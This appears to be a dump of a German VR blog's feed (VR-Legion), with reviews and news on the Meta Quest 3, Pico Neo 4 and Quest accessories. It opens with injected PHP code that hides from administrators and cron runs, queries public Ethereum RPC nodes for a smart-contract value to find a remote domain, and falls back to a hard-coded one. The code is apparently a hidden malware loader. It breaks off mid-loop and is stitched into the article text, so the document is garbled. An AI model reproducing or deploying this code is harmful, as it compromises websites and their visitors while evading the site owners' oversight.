if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$iMore
'.$h.'
Der Beitrag Meta Quest 3 getestet – dank MR ein echter Generationssprung erschien zuerst auf VR-Legion.
]]>
Meta hat den Nachfolger der Meta Quest 2 auf den Markt gebracht und wir haben die Quest 3 für euch getestet. Warum wir sie für einen gelungenen Nachfolger halten lest ihr jetzt.
Die Meta Quest 2 hat den VR-Markt verändert: Als kabelloses und autarkes Headset löste sie sich von zwei gewichtigen Vorurteilen, die VR in den Jahren zuvor schadeten. Der Erfolg gab Meta und dem Ansatz einer mobilen VR-Konsole recht, mehr als 10 Millionen Headsets wurden bislang verkauft, Spiele wie Beat Saber erwirtschaften ernsthaft Gewinn.
Es wird also Zeit, den Release einer neuen Meta Quest ähnlich zu würdigen, wie das Erscheinen einer neuen Konsole wie der Playstation 5. Mit dieser Ehre kommt aber auch Verantwortung für Meta, ein Generationswechsel darf nicht mehr nur „etwas mehr von allem“ sein. Und genau das ist mit der Quest 3 tatsächlich gelungen – obwohl es natürlich trotzdem mehr Leistung und Bildqualität gibt.
Der zusätzliche Bonus kommt aber in Form von mehr und umfangreicheren Mixed-Reality-Funktionen. Ein Tiefensensor, der die Passthrough-Kameras unterstützt soll die Quest 3 zum Bindeglied zwischen VR und AR machen. Gelingt Meta das Kunststück die Quest um ein Alleinstellungsmerkmal zu erweitern?

Bevor wir zu meinen (Dod) Erfahrungen mit der Quest 3 kommen, die trockenen Daten rund um den Release:
Zum Start der VR-Brille gibt es zwei Versionen, eine mit 128 Gigabyte und eine mit 512 Gigabyte internem Speicher. Abseits vom Speicher und den Beilagen zum frühzeitigen Kauf, unterscheiden sich die beiden Modelle nicht voneinander. Wir gehen davon aus, dass später noch eine Version mit 256 Gigabyte nachgelegt wird, bisher gibt es dafür aber keine Bestätigung.
Preise der Quest 3 (Amazon)
Bis zum 27. Januar 2024 gibt es bei beiden Modellen das Spiel Asgard’s Wrath 2 (erscheint am 15.12. 2023) kostenlos mit dazu. Die 512-GB-Variante kommt zudem mit sechs Monaten Meta Quest+, einem Spieleabo im Stile von Sony Playstation+.
Im Inneren der VR-Brille arbeitet der Qualcomm Snapdragon XR2 Gen2, ein speziell für MR-Geräte entwickelter Prozessor auf Basis der ARM-Architektur, wie ihr sie aus dem Smartphone kennt. Gegenüber seinem Vorgänger in der Quest 2 bietet den Gen2-Prozessor eine deutlich gestiegene Rechen- und Grafikleistung. Der Arbeitsspeicher ist auf acht Gigabyte angestiegen.

Das Inside-Out-Tracking übernehmen insgesamt sechs Kameras, für Passthrough und damit verbundene Mixed-Reality-Funktionen sind zwei 4-Megapixel-RGB-Kameras und ein Tiefensensor verbaut.
Bei der für Airlink und Virtual Desktop kritischen WLAN-Unterstützung gibt es ebenfalls gute Nachrichten, Meta nutzt WiFi6E und bietet Besitzern kompatibler Router und Access Points noch mehr Bandbreite fürs Streaming.
Am Headset selbst befinden sich sonst noch Buttons für IPD (einstellbar von 58-70 mm und in feineren Schritten als bei Quest 2), Lautstärke, On/Off und eine Einstellung der Linsen um für Brillenträger mehr Platz im Headset zu schaffen. Ein Klinkenstecker nimmt Kontakt zu einem Headset auf, wer lieber ohne Last auf den Ohren spielt: Wie bei Quest 2 sind Kopfhörer integriert, die den Ton direkt aufs Ohr pusten und auch ein Mikro ist natürlich vorhanden.
Der USB-C Port am Headset dient zum Laden des integrierten Akkus, für Link-Verbindungen zum PC und zum Anschluss von Powerbanks, wie sie Meta beispielsweise gleich selbst im Akku-Elite-Riemen einsetzt.

Das Highlight der Quest 3 ist neben dem Tiefensensor, später mehr dazu, aber das Linsensystem, bei dem der Hersteller nicht mehr auf Fresnel-Linsen sondern auch Pancake-Linsen setzt. Diese sind dünner und sorgen für den schmaleren Formfaktor der Quest 3. Sie haben aber auch Vorteile bei der Darstellungsqualität und Nachteile bei der maximal nutzbaren Helligkeit. Details dazu lest ihr im entsprechenden Absatz dieses Tests.
Mit 2.064×2.208 Pixeln pro Auge löst das Display der Quest 3 höher auf als das der Quest 2. Es handelt sich aber weiterhin um ein konventionell beleuchtetes IPS-Panel, also kein OLED und keine Mini-LED-Hintergrundbeleuchtung für satteres Schwarz. Die Bildrate lässt sich mit 72 Hz, 90 Hz und 120 Hz einstellen. Ein wenig höher als beim Vorgänger fällt zudem das Sichtfeld aus, es liegt bei knapp 110°.
Das Tracking realisiert Meta erneut per Inside-Out, also mit im Headset integrierten Kameras, die die Umgebung abscannen. Dazu kommt ein Raumscan mittels Tiefensensor, der euch auch beim Einrichten des Spielbereiches hilft.
Etwas enttäuschend ist (erneut) die Akkulaufzeit mit nur etwas mehr als zwei Stunden. Zusatzakkus, verbunden per USB-C, helfen hier. Damit die Quest aber auch beim Zocken nachlädt, solltet ihr darauf achten, dass die Powerbank auch genug Strom liefern kann.

Bereits die Verpackung der Meta Quest 3 macht klar, dass das neue Modell kleiner geworden sein muss. Und tatsächlich, beim herausschälen der durchaus edel wirkenden Brille aus dem kleinen Karton zeigt sich der Größenvorteil komplett. Trotzdem wiegt die Quest 3 nicht weniger als der Vorgänger, das Gewicht verteilt sich aber recht gut.
Mit dem Standard-Kopfriemen sitzt die Quest 3 halbwegs gut auf dem Kopf, das Gewicht der Brille liegt aber (für einige störend) auf den Wangenknochen. Zwar lässt sich der Riemen recht einfach an die Kopfgröße anpassen, er verstellt sich bei mir aber immer wieder und dann sitzt die Brille nicht mehr fest auf dem Kopf. Wie gut das für euch funktioniert, werdet ihr selbst ausprobieren müssen – es hängt viel von der Kopfform und sogar der Frisur ab, ob die Brille dauernd rutscht oder nicht.
Abhilfe würde der Elite-Riemen schaffen, für den Meta aber recht dreiste 79,99 Euro verlangt. Ich rate daher eher dazu, Alternativen von Drittanbietern eine Chance zu geben.

Einmal aufgesetzt zeigt sich, dass bei der Quest 3 der Generationssprung im Namen berechtigt ist: Ich werde von einem qualitativ deutlich besseren Passthrough begrüßt, als ihn die Quest 2 geboten hat. Bei der Quest Pro gab es zwar bereits farbige Passthrough-Kameras, ihr fehlte aber der Tiefensensor, der für Räumlichkeit und 3D sorgt.
Der Spielbereich lässt sich so bequem scannen, ihr müsst einfach nur interessiert im Raum umherschauen. Die Brille erstellt dann ein Modell der Umgebung und berücksichtigt dabei auch Wände, Möbel und andere Hindernisse. MR-Spiele können diese Daten nutzen, um euch AR vorzugaukeln, was erstaunlich gut funktioniert. Meistens jedenfalls.
Die RGB-Kameras für die praktische Durchsichtfunktion lösen allerdings mit nur vier Megapixeln auf, erwartet also kein gestochen scharfes Bild eurer Umgebung. In dunkleren Umgebungen funktioniert die MR-Funktion eher schlecht und der Passthrough fängt an zu Rauschen. Um Enttäuschungen vorzuwirken: In Videoaufnahmen aus der Quest 3 und entsprechend auch in den Streams und Videos der VR-Youtuber ist die Bildqualität der Durchsicht deutlich höher als wenn ihr selbst unter der Brille steckt.
Für den Einsatz auch um damit zu spielen, reicht die Qualität zumindest bei gutem Licht aber aus. Schade aber, dass sich der Raum nicht mehr per Infrarotstrahler erhellen lässt, sonst wäre die Quest 3 ein schönes Nachtsichtgerät. Vorteil der neuen Trackingmethode ohne viel Infrarot: Ihr könnt die Quest 3 deutlich besser im Freien nutzen als noch die Quest 2, das Tracking fällt auch bei Sonnenschein nicht mehr aus.

Wer mich kennt, weiß, dass ich großer Fan des Lighthouse-Trackings bin, wie es HTC Vive, Valve Index, Bigscren und Pimax nutzen. Die Zuverlässigkeit war mir bei Spielen wie Blade&Sorcery oder In Death immer sehr wichtig. Und auch mein Sohn als begeisterter Spieler des höchsten Schwierigkeitsgrades von Beat Saber präferierte das extrem zuverlässige Lighthouse-Tracking.
Warum ich das erzähle? Weil die Quest 3 (bei gutem Licht) gut mithalten kann. Lighthouse bleibt in der Nische zuverlässiger, beispielsweise in der Dunkelheit oder bei Controllerbewegungen hinter dem eigenen Rücken. Ansonsten geben der Nachwuchs und ich aber grünes Licht für trackingverwöhnte VR-Gamer.
Da Meta bei den Controllern auf den ausladenden Trackingring verzichtet hat, stoßen die Controller auch nicht mehr so oft aneinander, wenn sich beim Spielen die Hände zu nahe kommen. Wenn ihr aber noch ein paar hundert Euro ungenutzt herumliegen habt: Auch die Controller der Quest Pro lassen sich mit der Quest 3 nutzen und bieten dann ein noch einmal etwas besseres Erlebnis. Und das gute Gefühl, Controller zu nutzen, deren Prozessor schneller als der manches Smartphones ist…

Neben den erweiterten MR-Funktionen und höherer Performance sind die neuen Linsen der Meta Quest 3 das größte Highlight. Meta setzt auf ein gegenüber der Quest 2 höher aufgelöstes Display mit 2.064×2.208 Pixeln pro Auge und lässt euch durch Pancake- statt Fresnel-Linsen darauf schauen. Die neuen Linsen sind flacher, was für die schmalere Bauform der Quest 3 verantwortlich ist. Aber die bieten auch eine bessere, klarere, Bildqualität. God Rays und Lensflare-Effekte gibt es so gut wie keine mehr, der Sweetspot ist luxuriös groß und das Bild ist von einer Seite des Blickfeldes bis zur anderen sehr scharf.
Allerdings setzt Meta hier auf zwei LCD-Panels mit klassischer und ungedimmter Hintergrundbeleuchtung und nicht auf OLED oder Mini-LED wie einige Konkurrenzprodukte. Das ist natürlich dem Preis geschuldet, angesichts der unvermeidbar durchschnittlichen Schwarzwerte aber schade. Trotzdem weiß die Bildqualität zu überzeugen – was neben optisch beeindruckenden Titeln wie Red Matter II vor allem auch beim Streaming vom PC positiv auffällt.
Neben dem Einsatz als autarkes VR-Headset mit eigenem Prozessor und Speicher lässt sich die Quest 3 auch wieder als PC-Headset beispielsweise für Steam VR einsetzen. Dabei könnt ihr wahlweise ein USB-3-Kabel mit ausreichender Länge oder gleich eine Funkverbindung via WLAN einsetzen. Das Kabel liefert mitunter die etwas bessere Bildqualität, der dünne USB-C-Anschluss ist aber nur bedingt für diesen Einsatz geeignet.

Wir ziehen AirLink oder, sogar noch besser, Virtual Desktop vor. Einen aktuellen WLAN-Router (oder Access Point) mit 5 GHz-WLAN vorausgesetzt behaltet ihr so den Vorteil der kabellosen Brille bei ohne nennenswert auf Bildqualität zu verzichten. Auch die Latenz ist hervorragend. Noch etwas besser wird es, wenn ihr bereits WiFi6E einsetzt, das die Quest 3 unterstützt.
Virtual Reality kennen wir alle und die meisten Leser dieser Seite dürften es lieben. Augmented Reality konnte ich bereits mit Headsets wie der Microsoft Hololens 2 oder der NReal Light ausprobieren, da waren meine Erfahrungen deutlich durchwachsener als bei VR. Ein kleines Sichtfeld, oft eher frustrierende Bedienkonzepte und große Einschränkungen bei der Nutzbarkeit haben mich skeptisch gemacht. Meta nähert sich der AR jetzt aus der anderen Richtung: Statt eine möglichst keine AR-Brille zu bauen, die alles kann aber nichts davon richtig, lässt sich die VR-Brille für AR-Anwendungen nutzen.

Statt mich durch eine transparentes Glas die reale Umgebung sehen zu lassen und dort AR-Inhalte einzublenden, wird bei der Quest 3 einfach die Realität in der VR eingeblendet und auf Wunsch mit computergenerierten Inhalten erweitert, augmentiert also. Und ja, das ist genau das, was auch Apple mit der Vision Pro macht, nur dass Apple sich für „hoher Preis aber keine Kompromisse“ entschieden hat.
Mixed Reality kann auch bei der Akzeptanz der Quest 3 unter bisherigen VR-Verweigerern helfen: Die reale Umgebung nimmt das Gefühl der Abschottung und hilft sogar gegen Motion Sickness. Metas kostenlose Einstiegs-Anwendung „First Encounter“ nutzt MR dann auch gleich in sehr liebevoller Art und Weise.

In diesem eher kurzen Spiel bricht erst ein Raumschiff durch die (reale!) Decke eures Raumes und dann bröckeln eure Wänden immer mehr, da sich zahlreiche Alien-Fellknäuel aus einer fremden Welt in euren Raum bewegen. Praktischerweise gibt es eine Waffe, mit der wir sie zurück in ihre Heimat befördern können. Die Quest 3 nutzt dabei auch Tiefeninformationen eures zuvor gescannten Raumes, die viel zu süßen Gegner verstecken sich also auch gerne einmal hinter Mülleimern oder Sofas.
Noch gibt es nur wenige MR-Anwendungen aber umso mehr schon länger existierende VR-Apps mit neuem MR-Modus. So lässt sich Synth Riders jetzt auch in eurem Wohnzimmer spielen beispielsweise. Es lohnt sich, die bestehende Spielesammlung noch einmal auf MR-Optionen durchzuchecken.
Besonders nett ist aber auch die Option, den Meta-Browser bei aktivem Passthrough angezeigt zu bekommen. Ein dort geöffneten Youtube-Fenster beispielsweise könnt ihr so mit euch durch die Wohnung tragen. Ich war neugierig und habe so unter anderem in der Küche Essen zubereitet, in der Badewanne gelegen (nicht empfehlenswert wenn ihr die Quest 3 nicht gefährden wollt, trotzdem Danke an Meta, dass die Linsen weniger stark beschlagen als bei der Quest 2) und im Bett einen Film an der Zimmerdecke geschaut. Ich liebe es.

In Zukunft sind viele spannende Konzepte, auch abseits vom Gaming, mit diesem MR-Modus denkbar. Bereits jetzt könnt ihr Piano lernen oder Bilder auf einer virtuellen Staffelei in eurem eigenen Wohnzimmer malen – ich bin das erste mal seit langem wieder gespannt, was Entwickler mit den neuen Möglichkeiten anfangen.
Kaufen oder nicht kaufen? Und wenn, dann welche Version? Ja und 512 GByte. So einfach kann ein Fazit sein.
Aber ich kann auch ausführlicher: Die Meta Quest 3 ist seit Jahren das erste VR-Headset, das mich wieder rundum begeistern konnte. Meine VR-Begeisterung war in den letzten Jahren arg abgeflacht, mich reizte die immer bessere Hardware nicht mehr weil es immer nur noch mehr vom Gleichen war. Bessere Displays, kleinerer Formfaktor, gähn. Mit den ausgebauten MR-Funktionen bietet die Meta Quest 3 einen Mehrwert und da es vom aktuellen Marktführer stammt, ist auch die Verbreitung der Funktion wahrscheinlich.
Abseits dessen ist die Quest 3 eine spürbar schnellere Quest 2 mit besserer Bildqualität. Alleine das wäre ein Upgrade wert, schon da die Spiele nun sichtbar besser ausschauen. Selbst eure bekannten Spielefavoriten machen einen Sprung bei der Grafikqualität. Dank Pancake-Linsen ist die Quest 3 zudem spürbar schmaler (wenngleich nicht leichter) und verzichtet auf die Nachteile, an die wir uns in fünf, sechs Jahren Fresnel gewöhnt haben. Danke!

Wenn euch Mobilität, niedriger Preis und MR allerdings weniger wichtig sind als die perfekte Bildqualität am PC, würde ich eher zu einer Brille wie der Pimax Crystal raten. Sim-Racer und Flugsimulatorfans sind dort sicher besser aufgehoben. Wer aber mit den Alleinstellungsmerkmalen der Quest 3 herumspielen möchte und generell eher etwas bezahlbares und unkompliziertes sucht, kann bedenkenlos zugreifen.
Ich rate aber eher zum Modell mit 512 Gigabyte, bei Installationsgrößen von bis 16 Gigabyte (Assassin’s Creed Nexus VR) und mehr wird es beim 128-GB-Modell schnell eng. Speichert ihr gerne Videos auf der Quest, beispielsweise weil ihr eure Spielsessions aufzeichnet, wird es mit 128 GB ebenfalls schnell eng.
Der Beitrag Meta Quest 3 getestet – dank MR ein echter Generationssprung erschien zuerst auf VR-Legion.
]]>Der Beitrag Meta Connect 2023 – Alles was ihr über die Quest 3 wissen müsst erschien zuerst auf VR-Legion.
]]>
Heute wurde der lang erwartete Quest 2 Nachfolger vorgestellt und wir haben alle Informationen für euch zusammengefasst.
Heute war es endlich so weit. Das nächste Headset der Quest-Reihe hat heute endlich das Licht der Welt erblickt. Es gab zwar schon vorab viele Spekulationen rund um die Eigenschaften und technischen Spezifikationen des neuen Headsets, doch wir wollten euch keinen Bären aufbinden und bringen euch deshalb heute alle wichtigen Informationen aus offizieller Quelle rund um die Quest 3. Dazu gehören die technischen Spezifikationen, Besonderheiten und auch Vergleiche zu anderen Headsets der Quest Reihe. Wir werden auch unsere Augen nach neuen Spielen offenhalten, diese aber gesondert in einem neuen Artikel erwähnen. Aber nun widmen wir uns erstmal dem neuen Headset.
Viele von euch werden sich jetzt fragen, was die Quest 3 besser macht als die schon recht günstig zu habende Quest 2. Zum Einen bietet die Quest 3 nun endlich die Pancake-Linsen, die schon aus der Quest Pro bekannt sind. Diese haben gegenüber den normalen Fresnel-Linsen einen wesentlichen größeren Sweetspot, in dem ihr alles scharf sehen könnt. Das heißt, ihr könnt euch mit euren Augen bis zu den Rändern hin umschauen, ohne dass etwas verschwommen dargestellt wird. Auch werden störende Lichtreflexionen reduziert, die in sehr kontrastreichen Umgebungen auftreten können. Diese waren leider bei der Quest 2 sehr oft zu sehen. Zum Anderen wird zusammen mit der etwas höheren Auflösung gegenüber der Quest 2 (Quest 2: 1.832 x 1.920 Pixel pro Auge – Quest 3: 2064 x 2208 Pixel pro Auge) und dem etwas höheren FOV das VR-Erlebnis zu einem Augenschmaus. Wir können es kaum erwarten, unsere Gesichter in die am 10. Oktober erscheinende Quest 3 zu drücken.

Auch wird die Quest 3 nun auch Mixed Reality-Anwendungen mit einem fullcolor Passthrough-Modus unterstützen. Somit könnt ihr euer trautes Heim mit in eure Spiele einbinden und zum Beispiel eine lustige Runde Demeo auf eurem Wohnzimmertisch zocken. Wir hoffen, dass mit der Quest 3 nun viele solcher Anwendungen ihren Weg in den Store schaffen, da diese leider bei der Quest Pro eher Mangelware waren. Wir können es kaum erwarten, einen mehr detaillierten Blick in die Welt des Mixed Reality zu werfen und schauen, wie sich die Quest 3 dort schlägt. Auf dem Papier ist die Quest 3 bisher das vielversprechendste Headset auf dem Markt, welches auch Mixed Reality unterstützt.

Ein weiteren Vorteil bieten das neue Controllerdesign. Während die älteren Quest 2 Controller noch große Tracking-Ringe aufwiesen, wurden die neuen Quest 3 Controller mit einer etwas eleganteren Lösung versehen. Dort sind die Tracking-Sensoren nun so verteilt, dass die großen Tracking-Ringe wegfallen und wir nur noch zwei handliche Controllergriffe mit dem handelsüblichen Button-Layout vorfinden. Dies soll nicht nur das Tracking an sich verbessern, da so Überlappungen der Controller seltener stattfinden, sondern auch das Zusammenschlagen der zwei Controller in diversen Spielsituationen vermieden werden. Betrieben werden die Controller wieder mit normalen AA-Batterien, die über ein Batteriefach am Controller ausgetauscht werden können. Ob die Controller jetzt halten, was sie versprechen und ob das Headset an sich überzeugen kann, lest ihr hier bald in einem umfassenden Review.

Hands-on Video von Mike von VR Oasis
Das Gesamtpaket klingt schon recht vielversprechend, doch leider könnten viele potenzielle Käufer von dem relativ hohen Preis abgeschreckt sein. Auch muss Meta erst zeigen, ob die Mixed Reality Funktionen auch mit brauchbaren Anwendungen auftrumpfen können oder ob diese wie bei der schon erhältlichen Quest Pro eher nur ein nettes Gimmick darstellen. Was denkt ihr über das gezeigte Headset und werdet ihr euch die Quest 3 vorbestellen? Lasst gerne einen Kommentar da. Ich habe die Quest 3 bereits für euch vorbestellt, um euch zeitnah ein unbefangenes Review bieten zu können.
Bleibt gespannt und wir lesen uns bald wieder.
Der Beitrag Meta Connect 2023 – Alles was ihr über die Quest 3 wissen müsst erschien zuerst auf VR-Legion.
]]>Der Beitrag Meta Quest Systemupdate V55 mit mehr Systemleistung und Handtracking-Multitouch erschien zuerst auf VR-Legion.
]]>
Metas Quest 2 Headset ist ohne Zweifel das aktuell beliebteste VR-Headset im Gaming Bereich. Mit der Meta Quest 3 ist bereits die nächste Generation des VR-Headsets für Ende des Jahres angekündigt ist. Das heißt aber lange noch nicht, dass Meta die Quest 2 schon zu ihren Akten gelegt hat. Aber auch die Meta Quest Pro profitiert merklich vom neusten Systemupdate.
Der in der Quest schlummernde Snapdragon XR2 SOC wurde bisher zwecks Kühlung beachtlich unter seiner eigentlichen Maximalleistung betrieben. Nun hat man sich jedoch dazu entschieden, einen gewissen Teil dieser Leistungsreserve für Spieler und Entwickler freizugeben. Sowohl Quest 2 als auch Quest Pro erhalten mit dem neusten Systemupdate Zugriff auf eine bis zu 26% höhere CPU-Leistung. Auch bei der GPU dürfen beide Headsets in Zukunft auf mehr Power zurückgreifen: Die GPU-Leistung der Quest Pro konnte um knapp 11% gesteigert werden. Quest 2 Spieler können sogar auf eine bis zu 19% höhere Leistung zählen. Richtig merken werdet ihr diese Verbesserungen aber erst, wenn Entwickler ihre Spiele entsprechend auf den höheren Leistungsrahmen anpassen.
Zudem können Entwickler nun eine dynamische Auflösungsskalierung für ihre Spiele und Anwendungen nutzen. Diese soll vor allem dafür sorgen, dass durch die dynamische Justierung der Renderauflösung eine konstante Bildwiederholrate gehalten werden kann. Ähnliche Technik kommt beispielsweise auch bei vielen Konsolen-Versionen von aktuellen Spielen vor, damit auch schwächere Konsolen wie Nintendo Switch oder die Last-Gen Konsolen von Sony und Microsoft noch eine spielbare Framerate liefern können. In einem Video zeigt Meta bereits, welche Verbesserungen durch das Systemupdate technisch möglich sein könnten.
Mit einem früheren Systemupdate hat Meta das Handtracking bereits um die sogenannte Direct Touch Funktion erweitert, mit welcher sich das UI und einige Apps im Quest-Universum direkt durch die Berührung mit dem Finger steuern lassen – fast wie einen virtuellen Touchscreen eben. Nun wird die Funktionalität im Meta Quest Browser noch mehr einem echten Touchscreen angenähert. Ab sofort ist es möglich, Webapps und Websiten im Meta Browser mit mehreren Fingern zu steuern. Dadurch wird beispielsweise Zoomen auf Websites möglich. Vor allem im Hinblick auf kommende Augmented Reality Einsatzzwecke von Quest Pro und Quest 3 ist das sicher ein wichtiges Feature, das die Nutzbarkeit des Browsers immens steigern könnte.

Mit dem Update V55 verbessert Meta ebenfalls die Integration einiger ihrer eigenen Services in das Quest-Ökosystem. Der (Facebook) Messenger wurde nun in seine eigene App ausgelagert, die ihr separat aus dem Store beziehen müsst. Ebenfalls wurde der Explore Tab um einige Funktionen erweitert. So lassen sich nun vor allem die beiden Kurzvideodienste aus dem Meta Konzern, Facebook Reels und Instagram Reels, auch direkt im Quest Headset nutzen.

Was haltet ihr vom neuen Quest Update? Schreibt es uns gerne in die Kommentare!
Quelle: Meta-Quest-Blog
Der Beitrag Meta Quest Systemupdate V55 mit mehr Systemleistung und Handtracking-Multitouch erschien zuerst auf VR-Legion.
]]>Der Beitrag Pico Neo 4 – Alle Infos und Hands-On Bericht! erschien zuerst auf VR-Legion.
]]>
Heute wurde das neuste Headset von Pico vorgestellt. Die Pico Neo 4 und wir haben alle Infos und den ersten Hands-On Bericht für euch.
Heute ist ein großer Tag für VR. Pico hat grade eben die Pico Neo 4 vorgestellt und bringt somit endlich ein erschwingliches Headset für die breite Masse auf den Markt. Ich werde euch in dem heutigen Artikel nochmals über alle Spezifikationen und Besonderheiten des Headsets informieren und das ist noch nicht alles. Im Anschluss bekommt ihr noch einen kleinen Hands-On Bericht von mir, denn ich durfte die Pico Neo 4 bereits in einer kurzen Demo für euch antesten. Wenn ihr auch wissen wollt, welche Besonderheiten die Pico Neo 4 mit sich bringt und warum ich mein Grinsen nicht mehr aus dem Gesicht bekomme, dann lasst eure Augen über unseren Artikel tanzen. Ich freue mich schon auf das bald erscheinende Headset. Und los geht’s.

Pico Neo 4 Spezifikationen:
Kommen wir zunächst zu den inneren Werten. Das Headset bietet mit dem XR2 Prozessor und dem hochauflösenden LED-Display ein super Rundumpaket für VR-Neulinge und Spieler, die von ihren alten Headsets upgraden möchten. Die hohe Pixeldichte ist wirklich ein Augenschmaus und die Zeiten von sichtbaren Screen-Door-Effect sind mit der hohen Pixeldichte von 1200 PPI nun komplett vorbei. Auch die stufenlose IPD-Einstellung wirkt sich positiv auf das Spielgefühl aus. Durch das stufenlose Einstellen bekommen Spieler ein klares Bild und mögliche Augenschmerzen werden dadurch auch vermieden. Mit der recht großen Akkuladung des Headsets bekommt ihr rund 2-3 Stunden Spielzeit raus und könnt durch die Quick Charge Funktion das Headset auch recht schnell wieder mit neuem Saft versorgen. Kommen wir aber jetzt zu den Highlights.

Die wichtigsten Spezifikationen für mich sind das Gewicht und der Preis. Das Headset hat durch die Pancakelinsen-Schlankheitskur ordentlich abgespeckt und kommt nur noch mit knapp 295 Gramm daher. Dadurch liegt das Headset nun fast schwerelos auf dem Kopf und hat nicht mehr diese Gewichtsverlagerung im Vorderbereich. Und das alles bekommt ihr für einen Preis von nur 429 Euro für die 128 GB Variante und 499 Euro für das Headset mit 256 GB Speicherplatz. Für mich eines der besten Preis-Leistungsverhältnisse, was ich je bei einem VR-Headset gesehen habe.

Für mich ist die Pico Neo 4 wirklich ein gelungenes Gesamtpaket und ich selber habe sie schon auf meiner Wunschliste. In dem Preissegment von 429 Euro – 499 Euro gibt es einfach bisher kein Headset, was mit ihr mithalten kann. Der stabile und komfortable Kopfriemen des Headsets, die Pancakelinsen und das geringe Gewicht zeigen uns schon einen Ausblick auf die Zukunft und zeigten mir deutlich, wie weit andere Headsets/Hersteller in dem Bereich erst noch aufholen müssen. Nur VR-Enthusiasten, die das größte FOV und die höchste Auflösung haben wollen, bleiben auf der Strecke. Dafür gibt es ja noch andere Hersteller, wie Pimax oder Varjo. Doch für alle andern VR-Spieler ist die Pico Neo 4 auf jeden Fall einen Blick wert.
Bisher konnte ja noch die Quest 2 den Thron als „Bestes VR-Headset für Neulinge und Einsteiger“ für sich behaupten. Das ist aber heute vorbei. Die Pico Neo 4 holt sich mit Leichtigkeit die Krone, wenn es um ein günstiges Headset für den Einsteigerbereich geht. Vor allem für Leute, die bisher keinen Kontakt mit der virtuellen Realität hatten, ist Komfort, leichter Zugang und der Preis die wichtigsten Eckpunkte und die Pico Neo 4 überzeugt dort mit Bravour. Auch für PC VR Spieler kann sich das Headset als einen günstigen Einstiegspunkt oder als Upgrade lohnen, da das Headset kabelloses PC-VR unterstützt. In meinen Augen ein gelungenes Gesamtpaket, welches viele Spieler glücklich machen wird.

Hier kommt nun das kleine Sahnehäubchen. Ich durfte vorab die Pico Neo 4 schon kurz antesten und kann mit euch meine ersten Erahrungen teilen. Das Headset ist mit seinem geringen Gewicht wirklich angenehm zu tragen und die Zeiten für Nackenschmerzen nach langen Gamingsessions sind damit endlich vorbei. Auch die Controller liegen angenehm in der Hand und durch das gewohnte Button-Layout hatte ich keinerlei Umgewöhnungsprobleme. Die neue Trackingringplatzierung reduziert auch die Controller-Überlappung beim Zielen von Zweihandwaffen sehr gut und ich hatte beim Nachladen auch nicht mehr das Problem, die Controller aneinanderzuschlagen. Kommen wir nun zu den Linsen und dem Display. Ich war da sehr positiv überrascht. Im Bereich von FOV, Klarheit und vor allem Godrays kann sich die Pico Neo 4 durchaus sehen lassen. Dies musste ich bei gewissen Konkurrenzprodukten öfter mal als Nachteil anmerken, doch war bei der kurzen Demo mit der Pico Neo 4 kein Problem. Ich hatte eine tolle Zeit mit der Pico Neo 4 und für mich wird sie ein gutes Upgrade von meiner Quest 2 werden. Falls ihr Fragen habt oder eure Gedanken zur Pico Neo 4 teilen wollt, lasst gerne einen Kommentar da.
Der Beitrag Pico Neo 4 – Alle Infos und Hands-On Bericht! erschien zuerst auf VR-Legion.
]]>Der Beitrag Quest 2: Logitech kündigt Kopfhörer-Upgrade „Chorus“ an erschien zuerst auf VR-Legion.
]]>
Mit Chorus kündigt Logitech ein Valve Index ähnliches Audio-Zubehör für die Meta Quest 2 an.
Die Meta Quest 2 bietet bereits für relativ schmales Geld ein vollständiges VR-Erlebnis im Komplettpaket an. Ein häufiger Kritikpunkt ist jedoch die mittelmäßige Audioqualität der eingebauten Lautsprecher. Mit Chorus kündigt Logitech nun eine elegante Lösung für das Problem an, die wir bereits von anderen High-End-VR-Headsets wie der Valve Index (Test) oder HP Reverb G2 (Test) kennen.
Wie schon Valve und HP setzt nun auch Logitech auf Off-Ear-Kopfhörer. Sie bieten unter anderem den Vorteil, beim Aufsetzen und Nutzen des Headsets zu nicht stören, weil sie nicht direkt auf den Ohren aufliegen. Ebenfalls schirmen sie den Klang der Außenwelt dadurch nicht vollkommen ab. Vor allem aber erlaubt die Bauweise eine gute Durchlüftung der Ohren, wodurch ihr beim Spielen weniger schwitzt und den Kopf kühler haltet. Durch Hochklappen der beweglichen Ohrmuscheln lassen sich die Kopfhörer zudem stummschalten. Das erlaubt es beispielsweise eine kurze Konversation führen zu können, ohne dass das Headset dafür abgesetzt oder die Lautstärke angepasst werden muss.
Montieren lassen sich die Kopfhörer mittels aufsetzbaren Plastikschienen an allen drei offiziell erhältlichen Headstraps. Angeschlossen werden die Kopfhörer jedoch nicht wie gewohnt über den 3,5mm Anschluss der Quest, sondern über den USB-C Port. Logitech integriert zwar einen USB-C Anschluss zum Aufladen der Quest, beispielsweise über das offizielle Battery-Strap, der Link-Modus über ein USB-C Kabel wird jedoch nicht unterstützt. Wer die Quest also hauptsächlich im Kabelgebundenen am PC betreiben möchte, kann die Kopfhörer nicht zeitgleich nutzen.
